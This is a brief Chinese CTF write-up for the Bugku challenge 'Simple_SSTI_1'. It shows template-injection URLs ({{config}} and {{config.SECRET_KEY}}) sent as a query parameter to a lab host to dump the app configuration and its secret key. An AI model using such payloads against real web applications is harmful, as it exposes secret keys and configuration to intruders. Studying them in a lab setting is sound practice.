[bugku]Simple_SSTI_1-CFANZ编程社区

[bugku]Simple_SSTI_1

扒皮狼

阅读 70

2022-03-12

题目：
在这里插入图片描述

进入页面先按F12

在这里插入图片描述
有个提示secret_key
考虑模板注入

输入url：

http://114.67.175.224:10472/?flag={{config}}

在这里插入图片描述
直接找到了flag

如果访问

http://114.67.175.224:10472/?flag={{config.SECRET_KEY}}

可以直接显示flag
在这里插入图片描述

精彩评论（0）